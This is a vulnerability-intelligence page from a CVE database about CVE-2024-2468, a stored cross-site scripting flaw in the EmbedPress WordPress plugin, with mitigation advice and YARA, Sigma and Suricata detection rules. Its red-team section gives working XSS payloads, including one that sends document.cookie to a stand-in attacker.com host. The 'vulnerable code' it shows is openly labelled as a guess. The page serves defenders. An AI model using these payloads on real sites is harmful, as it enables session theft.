☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-2468

CVE-2024-2468 Cross-Site Scripting in Embedpress
📅 PUBLISHED: 2024-03-23 02:32 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.11%
👁️
0.11% probability
2.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-2468 is a Stored Cross-Site Scripting (XSS) vulnerability in the EmbedPress WordPress plugin (versions up to and including 3.9.12). The flaw resides in the embedpress_pro_twitch_theme attribute of the EmbedPress widget. Insufficient input sanitization and output escaping allow authenticated attackers with contributor-level or higher permissions to inject arbitrary web scripts. When a user accesses a page containing the malicious payload, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is specific to the WordPress ecosystem and does not affect Apache or Nginx directly. The plugin is widely used for embedding various media types (PDF, Google Docs, Vimeo, YouTube, etc.) in Gutenberg and Elementor editors.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

  • Plugin Type: WordPress plugin (PHP/JavaScript).
  • Distribution: WordPress Plugin Repository.
  • Risk: Compromised plugin updates or malicious forks could introduce backdoors. Users should verify plugin integrity via checksums and only install from official sources.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor+)
  • User Interaction: None
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability to execute arbitrary scripts in the context of authenticated users (including admins) can lead to privilege escalation or data theft.

Deep Dive & Mechanics

The vulnerability exists in the embedpress plugin's widget rendering logic. The embedpress_pro_twitch_theme attribute is used to specify a Twitch theme (e.g., "dark" or "light"). However, the plugin fails to sanitize or escape this attribute before outputting it in the HTML.

Root Cause: The attribute value is directly concatenated into a JavaScript or HTML context without proper escaping. For example, the code might look like:

echo '<div class="embedpress-twitch" data-theme="' . $attributes['embedpress_pro_twitch_theme'] . '">';

An attacker can inject a payload like:

" onmouseover="alert('XSS')"

This results in:

<div class="embedpress-twitch" data-theme="" onmouseover="alert('XSS')">

When a user hovers over the element, the script executes.

Attack Flow:

  1. Attacker with contributor-level access creates or edits a post/page.
  2. Inserts the EmbedPress widget and sets the embedpress_pro_twitch_theme attribute to a malicious payload.
  3. The payload is stored in the database.
  4. When any user (including admins) views the page, the script executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.9.12):

// In embedpress/EmbedPress/Shortcode.php or similar
$theme = $attributes['embedpress_pro_twitch_theme'];
echo '<div class="embedpress-twitch" data-theme="' . $theme . '">';

Patched Code (Hypothetical):

$theme = esc_attr($attributes['embedpress_pro_twitch_theme']);
echo '<div class="embedpress-twitch" data-theme="' . $theme . '">';

The esc_attr() function escapes HTML attributes, preventing XSS. Alternatively, using wp_kses() or htmlspecialchars() would also mitigate the issue.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • WordPress site with EmbedPress <= 3.9.12.
  • Contributor-level account or higher.

Steps:

  1. Log in as a contributor.
  2. Create a new post or edit an existing one.
  3. Add the EmbedPress block/widget.
  4. In the block settings, locate the Twitch Theme field.
  5. Inject the following payload:
    " onfocus="alert(document.cookie)" autofocus="
    
  6. Publish or save the post.
  7. When any user views the post, the script executes (e.g., on page load due to autofocus).

Advanced Payload:

" onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)" src="x

Lab Setup:

  • Use a local WordPress instance (e.g., via Docker).
  • Install EmbedPress 3.9.12.
  • Create a test user with contributor role.
  • Use a browser with developer tools to inspect the injected attribute.

Blue Team (Detection & Response)

Detection:

  • Monitor for posts/pages containing suspicious HTML attributes (e.g., onmouseover, onfocus, onerror).
  • Look for unusual embedpress_pro_twitch_theme values in the database.

Response:

  • Immediately remove the malicious post/page.
  • Revoke the contributor's access if compromised.
  • Apply the patch (if available) or disable the plugin.

Indicators of Compromise (IOCs)

  • File: wp-content/plugins/embedpress/EmbedPress/Shortcode.php (or similar) containing unsanitized attribute output.
  • Database: Posts/pages with embedpress_pro_twitch_theme containing HTML event handlers.
  • Network: Outbound requests to attacker-controlled domains (if payload exfiltrates data).
  • Logs: WordPress audit logs showing post creation/editing by contributor accounts with unusual attribute values.

Detection Engineering

YARA Rule

rule CVE_2024_2468_EmbedPress_XSS {
    meta:
        description = "Detects malicious EmbedPress Twitch theme attribute payloads"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-2468"
    strings:
        $payload1 = /embedpress_pro_twitch_theme\s*=\s*["'][^"']*?(on\w+)=/ nocase
        $payload2 = /embedpress_pro_twitch_theme\s*=\s*["'][^"']*?<script/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-2468 EmbedPress Stored XSS Detection
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via EmbedPress Twitch theme attribute
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "embedpress_pro_twitch_theme"
        http.url|re: "(on\w+=|<script)"
    condition: selection
falsepositives:
    - Legitimate use of theme names containing special characters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-2468 EmbedPress Stored XSS Attempt"; flow:to_server,established; content:"embedpress_pro_twitch_theme"; http_uri; pcre:"/(on\w+=|<script)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin if no patch is available.
  2. Restrict contributor-level access to trusted users only.
  3. Audit existing posts/pages for malicious payloads using the YARA/Sigma rules above.

Long-term Fix:

  • Apply the vendor patch when released (expected in version 3.9.13 or later).
  • Implement a Web Application Firewall (WAF) rule to block requests containing embedpress_pro_twitch_theme with suspicious patterns.

Workaround:

  • Use a security plugin (e.g., Wordfence) to block XSS attempts.
  • Manually edit the plugin file to add esc_attr() around the attribute value (not recommended for production without testing).

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"EmbedPress"
http.html:"embedpress"
http.html:"wp-content/plugins/embedpress"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-2468/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.